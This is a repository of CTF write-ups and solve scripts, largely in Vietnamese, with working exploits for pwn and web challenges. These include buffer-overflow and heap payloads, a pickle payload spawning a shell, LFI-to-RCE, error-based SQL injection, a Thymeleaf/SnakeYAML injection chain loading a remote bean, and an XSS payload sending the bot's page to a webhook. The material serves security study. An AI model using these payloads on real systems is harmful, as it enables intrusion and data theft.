├── README.md ├── pwn-college └── RE │ └── level7.0.py ├── GreyhatNUS_2024 └── Motorala_2.py ├── w3-challs └── temporo.py ├── Midnight-2023 └── MatchMaker.md ├── ictf-2023 └── shallyounotcall.py ├── Kalmarctf2023 ├── ez.md └── invoiced.md ├── corctf-2023 └── web.md ├── KMACTF-UMTN ├── RCE-ME.md └── TRY-SQLMAP.md ├── AmateursCTF_2023 └── heap-of-funs │ └── solve.py ├── CakeCTF 2022 ├── Openbio.md └── CakeGear.md ├── CodeGate-2023-Quals └── AI.md ├── HTB-challenges ├── Diogenes' Rage.md └── TwoDots Horror.md ├── balsn └── web.md ├── sekaictf-2023 └── frog-waf.py ├── Circle City Con 8.0 └── StickyNotes.md ├── HTB-apocalypse-2024 ├── percetron.md └── apexsurevive.md ├── labs └── MBE │ └── lab5B.md ├── asis-final-2023 └── sayeha.md ├── Angstrong CTF 2023 └── web.md ├── uiuctf-2023 └── web.md └── HTB-Apocalypse 2023 └── web.md /README.md: -------------------------------------------------------------------------------- 1 | # CTF-writeups 2 | Some CTF writeups written by meeeeeee 3 | -------------------------------------------------------------------------------- /pwn-college/RE/level7.0.py: -------------------------------------------------------------------------------- 1 | #!/bin/python 2 | import string 3 | 4 | content = "fa f8 f7 f4 f1 ec e8 e7 e1 e1 3e 34 31 31 30 2e 2d 28 21 1a 15 13 0f 0c 0b 09 08 08 02" 5 | content = content.split(" ") 6 | original = [""]*29 7 | pos = [] 8 | # content.reverse() 9 | i = 0 10 | buf_len = len(content) 11 | for each in content: 12 | this_char = "" 13 | while i < 29: 14 | factor = i % 3 15 | if factor == 2: 16 | this_char = chr(int("0x" + each, 16) ^ 0x47) 17 | elif factor < 3: 18 | if factor == 0: 19 | this_char = chr(int("0x" + each, 16) ^ 0x80) 20 | elif factor == 1: 21 | this_char = chr(int("0x" + each, 16) ^ 99) 22 | if this_char in string.printable and i not in pos: 23 | original[i] = this_char 24 | pos.append(i) 25 | break 26 | i += 1 27 | i = 0 28 | 29 | 30 | print("".join(original)) 31 | -------------------------------------------------------------------------------- /GreyhatNUS_2024/Motorala_2.py: -------------------------------------------------------------------------------- 1 | # grey{s1mpl3_buff3r_0v3rfl0w_w4snt_1t?_r3m3mb3r_t0_r34d_th3_st0ryl1ne:)} 2 | 3 | from pwn import * 4 | 5 | io = process("/home/shin24/security/ctf/greyhat/Motorala/wasmtime/target/debug/wasmtime --dir=./ --config=./cache.toml ./chall".split(" ")) 6 | p64 = util.packing.p64 7 | payload = p64(0)*7 8 | payload += p64(0x1100000000) 9 | payload += p64(0x18e0000018e0) 10 | payload += p64(0x3200000010) 11 | payload += p64(0x300012350) 12 | payload += p64(0x0)*4 13 | payload += p64(0x1300000000) 14 | payload += p64(0x0) 15 | payload += p64(0x48100000000) 16 | payload += p64(0x1235800012358) 17 | payload += p64(0x0) 18 | payload += p64(0x4000019e8) 19 | payload += p64(0x300000000) 20 | payload += p64(0x100000002) 21 | payload += p64(0x400000123d8) 22 | payload += p64(0x0) 23 | payload += p64(0xffffffff00000004) 24 | payload += p64(0xffffffff) 25 | payload += p64(0x0)*134 26 | payload += p64(0x5200000480) 27 | payload += p64(0x41) 28 | 29 | io.sendline(payload) 30 | io.sendline(b"A") 31 | io.interactive() 32 | -------------------------------------------------------------------------------- /w3-challs/temporo.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import string 3 | import re 4 | char_set = string.ascii_lowercase 5 | passwd = ["a"]*9 6 | 7 | base_time = 1 8 | 9 | for i in range(0, 9): 10 | for char in char_set: 11 | passwd[i] = char 12 | r = requests.post("http://temporal.hax.w3challs.com/administration.php", data={ 13 | "your_password": "".join(passwd) 14 | }) 15 | print("[DEBUG] Trying " + "".join(passwd)) 16 | # print(r.text) 17 | this_time = re.findall("(.+)\x20(\d{1,})\x20ms", r.text)[0][1] 18 | print(this_time) 19 | if int(this_time) > base_time +1: 20 | print("[+] Found:" + char) 21 | base_time = int(this_time) 22 | print("[+] Base time increased to: " + str(base_time)) 23 | break 24 | elif int(this_time) < base_time - 1: 25 | prev_char = chr(ord(char) - 1) 26 | passwd[i] = prev_char 27 | print("[+] Found:" + prev_char) 28 | break 29 | 30 | print("[*] Final passwd:" + "".join(passwd)) 31 | -------------------------------------------------------------------------------- /Midnight-2023/MatchMaker.md: -------------------------------------------------------------------------------- 1 | # Match maker 2 | 3 | Nhìn vào sẽ thấy input ra được đưa vào làm tham số hàm regex của php, cùng với đó là flag, vì flag không được in ra nên để biết được flag ta sẽ dựa vào thời gian thực thi của Regex để bruteforce (ReDos) 4 | 5 | Solve Script: 6 | ```python 7 | import requests 8 | from string import printable 9 | import re 10 | 11 | # base_time = 0.01 12 | FLAG = "midnight{" 13 | url = "http://matchmaker-2.play.hfsc.tf:12345/?x=midnight{%s((((((((.*)*)*)*)*)*)*)*)!}" 14 | guess = "" 15 | for i in range(0, 100): 16 | for char in printable: 17 | if char in ".*?\\|": 18 | char = "\\" + char 19 | r = requests.get(url % (guess + char)) 20 | time = re.findall("Exec Time: (.+)
", r.text)[0] 21 | print(time) 22 | if "E" not in time and float(time) >= 0.001: 23 | FLAG += char 24 | guess += char 25 | print("[+ ==>] Guessing: " + guess) 26 | if char == "}": 27 | print(FLAG) 28 | break 29 | print("[*] trying " + char) 30 | ``` 31 | -------------------------------------------------------------------------------- /ictf-2023/shallyounotcall.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import pickletools 3 | 4 | 5 | data = pickle.PROTO + bytes([5]) 6 | 7 | data += pickle.GLOBAL + b"__main__\n__main__\n" 8 | data += pickle.BINPUT + bytes([1]) # save __main__ to memo[1] 9 | data += pickle.POP 10 | 11 | data += pickle.GLOBAL + b"__main__\nSecureUnpickler\n" 12 | data += pickle.BINPUT + bytes([2]) # save SecureUnpickler to memo[2] 13 | data += pickle.POP 14 | 15 | data += pickle.GLOBAL + b"__main__\n__main__\n" 16 | 17 | data += pickle.MARK 18 | data += pickle.STRING + b"'__main__'\n" 19 | data += pickle.GLOBAL + b"__main__\n__builtins__\n" 20 | data += pickle.DICT 21 | data += pickle.BUILD 22 | 23 | data += pickle.GLOBAL + b"__main__\nget\n" 24 | data += pickle.BINPUT + bytes([3]) # save get to memo[3] 25 | data += pickle.POP 26 | 27 | # SecureUnpickler.find_class = __builtins__.get 28 | data += pickle.BINGET + bytes([2]) 29 | data += pickle.NONE 30 | data += pickle.MARK 31 | data += pickle.STRING + b"'find_class'\n" 32 | data += pickle.BINGET + bytes([3]) 33 | data += pickle.DICT 34 | data += pickle.TUPLE2 35 | data += pickle.BUILD 36 | 37 | # __main__.__setstate__ = __builtins__.eval 38 | data += pickle.BINGET + bytes([1]) 39 | data += pickle.NONE 40 | data += pickle.MARK 41 | data += pickle.STRING + b"'__setstate__'\n" 42 | data += pickle.GLOBAL + b"eval\naaa\n" 43 | data += pickle.DICT 44 | data += pickle.TUPLE2 45 | data += pickle.BUILD 46 | data += pickle.POP 47 | data += pickle.POP 48 | 49 | # trigger eval("'__import__(\"os\").system(\"sh\")'\n") 50 | data += pickle.BINGET + bytes([1]) 51 | data += pickle.STRING + b"'__import__(\"os\").system(\"sh\")'\n" 52 | data += pickle.BUILD 53 | data += pickle.POP 54 | 55 | data += pickle.STOP 56 | 57 | from codecs import getencoder 58 | pickletools.dis(data) 59 | print(getencoder("hex")(data)[0].decode()) 60 | -------------------------------------------------------------------------------- /Kalmarctf2023/ez.md: -------------------------------------------------------------------------------- 1 | ## Ez 2 | - Trong source code thì ta chỉ cần quan tâm Caddyfile, Dockerfile và index.php 3 | - Đọc file index.php trước thì thấy nó đang cố gắng đọc file flag.txt ra 4 | ```php 5 | 11 | ``` 12 | - Khi truy cập vào http://php.caddy.chal-kalmarc.tf/index.php thì thấy nó không thực thi, http://php.caddy.chal-kalmarc.tf/flag.txt thì bị 403 13 | - Chuyển qua đọc Caddy file thì để ý trong mục config của `*.caddy.chal-kalmarc.tf` đã chặn việc truy cập vào `/flag.txt` bằng cách trả về 403 mỗi khi truy cập. 14 | ``` 15 | respond /flag.txt 403 16 | ``` 17 | - File `index.php` không thực thi là vì đoạn chuyển handling cho php cgi đã bị comment, caddy là một go server nên nó sẽ không support php by default 18 | ``` 19 | #php.caddy.chal-kalmarc.tf { 20 | # php_fastcgi localhost:9000 21 | #} 22 | ``` 23 | - Nếu block `/flag.txt` thì liệu `/./flag.txt` sẽ thế nào nhỉ? (một số HTTP parser sẽ hiểu `.` là đại diện cho thư mục hiện tại, nên sau khi xử lý thì `/./flag.txt` sẽ thành `/flag.txt`): 24 | ![](https://i.imgur.com/ilmxmsu.png) 25 | - 404, nhưng nếu thử với `/./index.php` thì vẫn trả về, vậy nghĩa là flag.txt đã bị xóa, lúc này đến lúc đọc Dockerfile. Sau khi đọc kỹ sẽ đến đoạn này: 26 | ```dockerfile! 27 | mkdir -p backups/ && cp -r *.caddy.chal-kalmarc.tf backups/ && rm php.caddy.chal-kalmarc.tf/flag.txt 28 | ``` 29 | - Khi deploy thì tạo thư mục `backups`, chuyển toàn bộ file từ các thư mục `*.caddy.chal-kalmarc.tf` vào `backups` và xóa file flag.txt 30 | - Vậy là `flag.txt` giờ nằm trong thư mục `/backups/php.caddy.chal-kalmarc.tf/`. Làm sao ta truy cập được nó? 31 | - Ban đầu còn một đoạn trong Caddyfile nữa: 32 | ``` 33 | file_server { 34 | root /srv/{host}/ 35 | } 36 | ``` 37 | - Ở đây theo documentation thì {host} là thông tin lấy từ header `Host` trong http request. `{host}` được nối vào `/srv/` để làm root document. Có vẻ như các root document folders và cả backups đều nằm trong srv, vậy ta có thể đổi giá trị của `Host` thành `backups/php.caddy.chal-kalmarc.tf`, nó sẽ đúng với rule `*.caddy.chal-kalmarc.tf` trong Caddyfile, giúp ta tới được folder `backups/php.caddy.chal-kalmarc.tf`, kết hợp với `/./flag.txt` ta được flag: `kalmar{th1s-w4s-2x0d4ys-wh3n-C4ddy==2.4}` 38 | ![](https://i.imgur.com/TtRE89X.png) 39 | -------------------------------------------------------------------------------- /Kalmarctf2023/invoiced.md: -------------------------------------------------------------------------------- 1 | ## Invoiced 2 | - Vì nó là CTF nên tốt nhất lao đầu vào đọc code thôi :v 3 | - Code bằng nodejs, dùng Express 4 | - File `pdf.js` giả lập một browser bằng `puppeteer`, set một cookie tên `bot`, truy cập vào link `http://localhost:5000/renderInvoice?` nối chuỗi với một biến body 5 | - File `payment.js` thì chứa hàm `validateDiscount` để trả về giá trị discount 6 | - File `app.js` gồm các routes là chủ yếu, route `/renderInvoice` (cái route lúc nãy file pdf.js dùng) thì đọc file template, replace các placeholders (`{{*}}`) thành value lấy từ các GET queries (untrusted data) => khả năng là xss. Cùng với đó thì cũng có set CSP (kết hợp dữ kiện là cái con bot pdf cũng dùng route này nên khả năng là phải tìm cách bypass CSP) 7 | - Route `/orders` thì là nơi nhả flag nhưng với điều kiện là phải truy cập từ local và không được có cookie tên `bot` (tới đây mình đoán bắt buộc phải thông qua con bot kia để lấy flag) 8 | - Route `/checkout` sẽ là nơi trả về file pdf 9 | - Ok vậy 2 vấn đề: 10 | + Phải làm con bot truy cập vào `/orders`, theo như code thì nó sẽ luôn luôn truy cập vào `http://localhost:5000/renderInvoice` 11 | + Nếu như truy cập rồi thì làm sao để loại bỏ cái cookie `bot` 12 | - Đọc CSP: 13 | ```! 14 | res.setHeader("Content-Security-Policy", "default-src 'unsafe-inline' maxcdn.bootstrapcdn.com; object-src 'none'; script-src 'none'; img-src 'self' dummyimage.com;") 15 | ``` 16 | - Sau một hồi thử XSS nhằm redirect thì hơi no hope, nhưng rồi mình nghỉ liệu để redirect thì có nhất thiết phải dùng JS không. Thế là mình nhớ đến thẻ meta: 17 | ```htmlembedded 18 | 19 | ``` 20 | - Một vấn đề, vấn đề thứ 2 là cookie, xem kỹ lại lúc set cookie thì cookie được set cho domain `localhost:5000`, vậy nếu ta redirect đến một origin khác thì cookie `bot` sẽ không được kèm theo. Có khá nhiều cách để trỏ về localhost, nhưng browser sẽ hiểu bọn chúng là các origin khác nhau, ví dụ localhost sẽ khác 127.0.0.1 đối với browser 21 | - Vậy payload cuối cùng sẽ là: 22 | ``` 23 | 24 | ``` 25 | - Nhớ set `discount=FREEZTUFSSZ1412` để pass điều kiện trong route `/checkout` nữa 26 | ![](https://i.imgur.com/wQVOyng.png) 27 | - Kết quả bị compressed rồi, chuột phải vào và chọn show response in browser 28 | ![](https://i.imgur.com/VI7yap7.png) 29 | -------------------------------------------------------------------------------- /corctf-2023/web.md: -------------------------------------------------------------------------------- 1 | # CORCTF 2023 writeup 2 | 3 | ## force 4 | Source của bài khá ngắn, ta cần sử dụng graphql để get flag, điều kiện là biết được số nguyên `secret` được random từ 0->100k 5 | 6 | Ta sẽ thực hiện bruteforce secret bằng cách sử dụng alias của graphql, invoke nhiều query get flag cùng lúc với các mã pin khác nhau từ 0->100k, ta có thể chia ra từng đợt để request bớt dài. 7 | 8 | ![image](https://github.com/CP04042K/CTF-writeups/assets/35491855/71971455-a6b3-4ae8-99ed-5865544f9494) 9 | 10 | `corctf{S T O N K S}` 11 | ## msfrognymize 12 | Source code nhìn khá căng, thực chất bug nằm ở route `/anonymized/`, ta có thể request với `image_file` là `%252fflag.txt`, input sẽ được decode url sau đó join `uploads/` và `/flag.txt` lại thì output cuối cùng sẽ là `/flag` 13 | 14 | `https://msfrognymize.be.ax/anonymized/%252fflag.txt` 15 | 16 | `corctf{Fr0m_Priv4cy_t0_LFI}` 17 | 18 | ## frogshare 19 | Flag nằm ở localStorage của bot, chức năng trang web là cho phép ta load một cái SVG về và nội dung của SVG sẽ được insert vào DOM tree, tuy nhiên nếu tồn tại thẻ script trong SVG thì sẽ bị strip đi. 20 | 21 | ![image](https://github.com/CP04042K/CTF-writeups/assets/35491855/1940159d-58b4-4897-b54c-6aed2b6eba7f) 22 | 23 | trace lên bên trên ta sẽ thấy biến n thật ra là alias của của một biến tên là `enableJs`, cái tên đã cho ta biết vai trò của nó, vì minified js khá khó đọc, để tìm ra đoạn code này nằm ở đâu mình thử search tên biến `enableJs svg` lên github (thực chất bạn có thể xem ở package.json nhưng đây là cách tiếp cận ban đầu của mình) 24 | 25 | ![image](https://github.com/CP04042K/CTF-writeups/assets/35491855/2820430e-e05f-4ab8-b963-fa8082d03800) 26 | 27 | Có vẻ như là thứ ta cần, vào source code đọc thử thì thấy `enableJs` được lấy từ props của component 28 | 29 | ![image](https://github.com/CP04042K/CTF-writeups/assets/35491855/3d4d72d9-0365-4bc3-96d4-687c4d92b5ef) 30 | 31 | xem lại source code ta thấy được ta có thể kiểm soát được props truyền vào component 32 | 33 | ![image](https://github.com/CP04042K/CTF-writeups/assets/35491855/119c3ea7-e14a-4b27-8c7e-8811ca57e74f) 34 | 35 | Vậy chỉ cần thêm `"data-js":"enable"` lúc tạo frog là được 36 | 37 | ![image](https://github.com/CP04042K/CTF-writeups/assets/35491855/5095e714-42a9-458a-9f6f-476487d6803b) 38 | 39 | ![image](https://github.com/CP04042K/CTF-writeups/assets/35491855/744bc9c5-b430-4b77-88c8-a26822167aa7) 40 | -------------------------------------------------------------------------------- /KMACTF-UMTN/RCE-ME.md: -------------------------------------------------------------------------------- 1 | Challenge: http://rce-me.ctf.actvn.edu.vn/ 2 | 3 | ![image](https://user-images.githubusercontent.com/35491855/154733589-8e729f8d-73a0-4107-b3bc-e77978980ed7.png) 4 | 5 | From the begining, the challenge show us that this website is vulnerable to LFI, but the challenge requires us to find and exploit a RCE, and the `etc/passwd` clearly doesn't play any role here. There are a couple of methods to lead to RCE from LFI, i'm not going to cover all of them in this writeup. 6 | 7 | First i tried to use `dirsearch` to check for any interesting file or path, but no hope tho. After that, i read the hint that said `I am using php-fpm alpine docker`, so i tried to find an image, deployed it to docker and inspected the file structure in order to find the "key" but still. After countless attempts, i tried to use some other technique like **php wrapper** and found out that i can read the source of the index page - which gave me the hint to figure out the way to solve this challenge. 8 | 9 | ![image](https://user-images.githubusercontent.com/35491855/154734280-d1266dd8-b760-4b78-a533-888e6942422f.png) 10 | 11 | `http://rce-me.ctf.actvn.edu.vn/?l=php://filter/convert.base64-encode/resource=index.php` 12 | 13 | Decoding the base64 message we got the php source code of the `index.php` file 14 | 15 | ![image](https://user-images.githubusercontent.com/35491855/154734897-0ab4f52c-4a94-4bec-80c8-71a758519df3.png) 16 | 17 | Noticing this part: 18 | 19 | 20 | >$_SESSION['name'] = @$_GET["name"]; 21 | > 22 | >$l = @$_GET['l']; 23 | > 24 | >?if ($l) include $l; 25 | 26 | 27 | First it will assign the data taken from the `name` parameter to the `name` attribute in **SESSION**, and then the LFI part. The first line of the below code is very valuable as it reveal the way to turn a LFI into a RCE. By providing a PHP code to the `name` parameter and include the SESSION file locating somewhere on the server, we can execute arbitrary PHP code and get the flag. 28 | 29 | ![image](https://user-images.githubusercontent.com/35491855/154736202-26bdc87a-b179-4ef2-b8a6-188f245117f4.png) 30 | 31 | `http://rce-me.ctf.actvn.edu.vn/?l=/tmp/sess_qv2vse3ful8lk9na2irrovsf38&name=` 32 | 33 | You can find the `/tmp/sess_qv2vse3ful8lk9na2irrovsf38` by combining the `sess_` and the `SESSION_ID` that the server sent you earlier, tmp is usually the location which store all the SESSION. 34 | 35 | Now the last thing is quite simple, read the flag file. 36 | 37 | ![image](https://user-images.githubusercontent.com/35491855/154736780-450e26ff-7ccb-4bb1-9cdd-b4ff3110c14d.png) 38 | 39 | `FLAG: KMACTF{Do_anh_session_duoc_em_hihi}` 40 | -------------------------------------------------------------------------------- /AmateursCTF_2023/heap-of-funs/solve.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | io = process("./chal") 4 | # io = remote("chal.amt.rs", 1346) 5 | libc = ELF("./lib/libc.so.6") 6 | p64 = util.packing.p64 7 | 8 | def create_bullshit(index, size=100, data=None): 9 | io.sendlineafter(b">>>", b"1") 10 | io.sendlineafter(b">>>", str(index).encode()) 11 | io.sendlineafter(b">>>", b"200") 12 | io.sendlineafter(b">>>", b"a"*199) 13 | if data: 14 | io.sendlineafter(b">>>", str(size).encode()) 15 | io.sendlineafter(b">>>", data) 16 | else: 17 | io.sendlineafter(b">>>", str(size).encode()) 18 | io.sendlineafter(b">>>", b"b"*(size-1)) 19 | 20 | def free_bullshit(index): 21 | io.sendlineafter(b">>>", b"4") 22 | io.sendlineafter(b">>>", str(index).encode()) 23 | 24 | def read_bullshit(index): 25 | io.sendlineafter(b">>>", b"3") 26 | io.sendlineafter(b">>>", str(index).encode()) 27 | 28 | def reverse_endian(data: str): 29 | data = [data[i:i+2] for i in range(0, len(data), 2)] 30 | data.reverse() 31 | return "".join(data) 32 | 33 | def update_bullshit(index, data): 34 | io.sendlineafter(b">>>", b"2") 35 | io.sendlineafter(b">>>", str(index).encode()) 36 | io.sendlineafter(b">>>", data) 37 | 38 | 39 | gdb.binary = lambda: "/usr/bin/gdb-pwndbg" 40 | if args.GDB: 41 | gdb.attach(io) 42 | pause() 43 | 44 | 45 | create_bullshit(0, 3000) 46 | create_bullshit(1, 200) 47 | create_bullshit(2, 3000) 48 | create_bullshit(3, 3000) 49 | free_bullshit(0) 50 | free_bullshit(2) 51 | free_bullshit(3) 52 | read_bullshit(0) 53 | 54 | 55 | 56 | io.recvuntil(b"val = ") 57 | leak = io.recvline().decode() 58 | leak = eval(f'"""{leak}"""')[:6] 59 | 60 | main_arena = util.packing.unpack(leak, 8*6)-96 61 | libc.address = main_arena - 0x21ac80 62 | libcgot = libc.address + 0x21a000 63 | print("main_arena = " + hex(main_arena)) 64 | print("libc base = " + hex(libc.address)) 65 | print("libc got = " + hex(libcgot)) 66 | 67 | read_bullshit(2) 68 | 69 | io.recvuntil(b"val = ") 70 | leak = io.recvline().decode() 71 | leak = eval(f'"""{leak}"""')[:6] 72 | leak_heap = util.packing.unpack(leak, 8*6) 73 | 74 | print("leak heap: " + hex(leak_heap)) 75 | 76 | create_bullshit(0, 200) 77 | free_bullshit(0) 78 | 79 | pos = leak_heap + 0x1a50 80 | value = libcgot +0x28-8 81 | 82 | to_write = value ^ (pos >> 12) 83 | print("to write: " + hex(to_write)) 84 | onegadget = libc.address + 0xebc85 85 | 86 | print("onegadget: " + hex(onegadget)) 87 | 88 | update_bullshit(0, p64(to_write)) 89 | 90 | pause() 91 | create_bullshit(0, 200, b"A"*8 +p64(libc.address + 0x17082D) + b"B"*0x40 + p64(onegadget) + p64(libc.address + 0x82358) + b'X'*0x18 + p64(libc.address + 0x12B320)) 92 | 93 | io.interactive() 94 | -------------------------------------------------------------------------------- /CakeCTF 2022/Openbio.md: -------------------------------------------------------------------------------- 1 | # CakeCTF 2022: Openbio 2 | 3 | **link**: http://web1.2022.cakectf.com:8003 4 | 5 | Bài này nó cho source code nhưng mà thật ra mình không cần quan tâm lắm, bài này dạo qua tí thì mình sẽ biết nó là XSS thông qua trang profile. Vấn đề ở bài này là làm sao bypass được 2 thứ, CSP và HttpOnly cookie. 6 | 7 | Trong source code cung cấp có file `crawler.js`, file này sẽ đóng vai trò làm bot đóng giả victim và truy cập vào link profile được report. Nó cũng sẽ reg một account random và set flag vào bio của account đó. 8 | 9 | Lúc này trong đầu mình nghĩ rằng, thật ra không cần phải lấy cookie mà chỉ cần làm sao để lấy cái Flag nằm trong bio của con bot đó. 10 | 11 | Giờ đầu tiên, ta nhìn vào phần CSP của nó: 12 | 13 | ``` 14 | default-src 'none';script-src 'nonce-avB8AzG9+I6GrLS1n/mO5g==' https://cdn.jsdelivr.net/ https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-eval';style-src https://cdn.jsdelivr.net/;frame-src https://www.google.com/recaptcha/ https://recaptcha.google.com/recaptcha/;base-uri 'none';connect-src 'self'; 15 | 16 | ``` 17 | 18 | Nó chặn việc thực thi inline script, src của style, script đều bị whitelist, ... bla bla. Và nó cho phép hàm `eval` (`unsafe-eval`) 19 | 20 | Trong số các script src được whitelist, có url `https://cdn.jsdelivr.net/`, như anh em biết thì nó là cdn dùng để chứa các client-side script (js, css) và nó chứa các framework như angular, .... 21 | 22 | Ta biết rằng angular có khá nhiều bug XSS trong các version cũ và cdn này cũng vẫn còn chứa các version đó (thật ra ngay ở version mới nhất cũng có thể lợi dụng được). Vậy, ta có thể include angular từ cdn trên và thực thi JS (trong angular việc thực thi JS bằng eval không nhất thiết cùng thẻ script) 23 | 24 | ``` 25 |
{{$eval.constructor('alert(1) 26 | ')()}}
27 | ``` 28 | 29 | Oke rồi, ta đã XSS được. Giờ phải làm sao để lấy được flag, ý tưởng là gửi một request đến link profile bằng cookie của user hiện tại (con bot) rồi sau đó lấy text của response trả về, cho nó redirect đến webhook. 30 | 31 | Full payload: 32 | 33 | ``` 34 | aaa
{{$eval.constructor('fetch("http://challenge:8080/",{mode:"no-cors"}).then(r => r.text()).then(t => window.location.href="https://webhook.site/49115582-167f-440b-98c4-b7b88aa57f96?c="+btoa(encodeURIComponent(t))) 35 | ')()}}
36 | 37 | ``` 38 | 39 | Trước khi gửi thì ta encode URI và encode sang base64 để có thể truyền qua get param của webhook 40 | 41 | ![](https://i.imgur.com/IAPuyLZ.png) 42 | 43 | ![](https://i.imgur.com/mRQQG9b.png) 44 | 45 | Flag: `CakeCTF{httponly=true_d03s_n0t_pr0t3ct_U_1n_m4ny_c4s3s!}` 46 | -------------------------------------------------------------------------------- /CodeGate-2023-Quals/AI.md: -------------------------------------------------------------------------------- 1 | Đây là một bài brief do mình ngồi tham khảo solution và làm lại của bài web cuối cùng trong đợt CodeGate 2023 Quals hồi đầu năm 2 | 3 | Request: 4 | ```http 5 | GET /<@urlencode>__|*bla**{"a"+@servletContext.setAttribute("t","".class.forName("org.thymeleaf.TemplateEngine").newInstance())+@servletContext.getAttribute("t").setDialects("".class.forName("org.thymeleaf.spring6.dialect.SpringStandardDialect").newInstance())+@servletContext.getAttribute("t").process(("[["+"*"+"{T"+"(org.yaml.snakeyaml.Yaml).newInstance().load("+"".copyValueOf("a".toCharArray()[0].toChars(39))+thymeleafRequestContext.httpServletRequest.getParameterMap().values()[0][0]+"".copyValueOf("a".toCharArray()[0].toChars(39))+")}"+"]]"),"".class.forName("org.thymeleaf.context.Context").newInstance())+""}|__<@/urlencode>?a=<@urlencode>aaa: !!org.springframework.context.support.FileSystemXmlApplicationContext [ "http://172.23.42.39:8082/exploit.bean" ]<@/urlencode>%0a HTTP/1.1 6 | Host: localhost:8080 7 | Cache-Control: max-age=0 8 | sec-ch-ua: "Chromium";v="113", "Not-A.Brand";v="24" 9 | sec-ch-ua-mobile: ?0 10 | sec-ch-ua-platform: "Windows" 11 | Upgrade-Insecure-Requests: 1 12 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36 13 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 14 | Sec-Fetch-Site: none 15 | Sec-Fetch-Mode: navigate 16 | Sec-Fetch-User: ?1 17 | Sec-Fetch-Dest: document 18 | Accept-Encoding: gzip, deflate 19 | Accept-Language: en-US,en;q=0.9 20 | Cookie: SESSION=MTA5MjljNmEtOGRhMy00YTlhLWI0MmItOTc2ZTc5ZDM5NDZl 21 | Connection: close 22 | 23 | 24 | ``` 25 | 26 | exploit.bean: 27 | ```xml 28 | 34 | 35 | 36 | 37 | calc.exe 38 | 39 | 40 | 41 | 42 | 43 | ``` 44 | 45 | Brief: dùng syntax **Literal Substitution** của Thymeleaf để bypass phần check trong phần preprocess của thymeleaf, từ đó gọi lại `org.thymeleaf.TemplateEngine` 1 lần nữa để parse EL nhằm bypass đoạn check `T(`. Sử dụng class `org.yaml.snakeyaml.Yaml` vì nó không nằm trong blacklist của thymeleaf, lợi dụng cú pháp `Secondary Tag Handle` mà snakeyaml implement để load 1 class tùy ý, load đến class `org.springframework.context.support.FileSystemXmlApplicationContext` để parse một remote xml file nhằm instantiate class `ProcessBuilder` và lợi dụng đặc tính parse SpEL ở state `Populate` của beans để gọi đến method `start` của bean vừa khởi tạo (ở đây là `ProcessBuilder`) 46 | -------------------------------------------------------------------------------- /KMACTF-UMTN/TRY-SQLMAP.md: -------------------------------------------------------------------------------- 1 | Challenge: http://try-sqlmap.ctf.actvn.edu.vn/ 2 | 3 | ![image](https://user-images.githubusercontent.com/35491855/154800109-eeb85e75-0387-4288-b1a1-ae2d7c4d058a.png) 4 | 5 | 6 | As the title of the challenge, it tells us to try `SQL Map`. However in this case, this powerful tool is not gonna help us get the flag, but it gave us a hint. 7 | 8 | ![image](https://user-images.githubusercontent.com/35491855/154800002-0e97d92c-a1dd-4f22-b57d-4cd5e115c2b8.png) 9 | 10 | This website can be exploited with `Error Based SQLi`, using some functions like `extractvalue` and `updatexml`. If you add extra character such as a single quote to the parameter, you will get the error, that mean the server respond the error message whenever there is an error. 11 | 12 | ![image](https://user-images.githubusercontent.com/35491855/154800167-04ea9950-7006-4da8-837d-d338acb8a30a.png) 13 | 14 | Easy peasy lemon squeezy, let's give it a try, by using the the `extractvalue` function i can get the database name 15 | 16 | ![image](https://user-images.githubusercontent.com/35491855/154800214-24d964a9-c7b2-4c07-8590-fa30ceadfdc7.png) 17 | 18 | Now let's move on, get the table name and then the column. 19 | 20 | ![image](https://user-images.githubusercontent.com/35491855/154800263-2bf1e1a2-84bc-4d82-aee8-82d1127638a6.png) 21 | 22 | Wait, it show us the index page's content, something is not right here, we should have got the table by now. Well, After numerous attempts, i finally found out that the input length is limited to 100 characters and by reading the hint, i can guess that the output length is also limited to 32 characters 23 | 24 | ![image](https://user-images.githubusercontent.com/35491855/154800416-1645ab03-535e-4789-ac0a-a01d546a31f0.png) 25 | 26 | Good, now we have to find a way to reduce the length of the query and as the length of flag table name is longer than 32 characters, we will have to use `mid` function to bypass the output check. This is my query: 27 | 28 | `http://try-sqlmap.ctf.actvn.edu.vn/?order=extractvalue(0,concat(0,(SELECT+mid(table_name,1,31)+FROM+information_schema.tables+limit+1)))` 29 | 30 | ![image](https://user-images.githubusercontent.com/35491855/154800852-16a65504-d608-4e0f-9763-32be0763c9ab.png) 31 | 32 | As you can see, we have successfully extracted the first 32 characters of the table name, as we increase the index we'll be able to know the whole string. I used `limit 1` as the table name record is coincidentally the first record in `information_schema.tables`. Keep increasing the index value of the `mid` function, we get the whole name: `flahga123456789xxsxx012xxxxxxxxx34567xx1` 33 | 34 | Using the same technique, we also get the column name as it's also the first record in `information_schema.columns`, query: 35 | `http://try-sqlmap.ctf.actvn.edu.vn/?order=extractvalue(0,concat(0,(SELECT+mid(column_name,1,31)+FROM+information_schema.columns+limit+1)))` 36 | 37 | ![image](https://user-images.githubusercontent.com/35491855/154801196-b86e8848-a097-40aa-aa01-f43360cbf19e.png) 38 | 39 | Finally, extract the flag: 40 | 41 | ![image](https://user-images.githubusercontent.com/35491855/154801232-491692ec-733a-40d8-a11d-df7995bc3d60.png) 42 | 43 | `http://try-sqlmap.ctf.actvn.edu.vn/?order=extractvalue(0,concat(0,(SELECT+mid(flag,1,31)+FROM+flahga123456789xxsxx012xxxxxxxxx34567xx1)))` 44 | 45 | final flag: `KMACTF{X_Ooooooooooooorder_By_Nooooooooooooooooooone_SQLMaaaaaaaaaaaaaaaap?!!!!!!!!!!!!}` 46 | 47 | Special Thanks to **Taidh**, who helped me a lot in figuring out this challenge 48 | 49 | -------------------------------------------------------------------------------- /HTB-challenges/Diogenes' Rage.md: -------------------------------------------------------------------------------- 1 | ## [HTB-Web Challenge] Diogenes' Rage 2 | Một cái máy bán hàng tự động cho ta sẵn một cái coupon 1\$, khi kéo cái coupon kia vô máy nó sẽ call đến API `/api/coupons/apply` và cộng tiền 1\$ 3 | 4 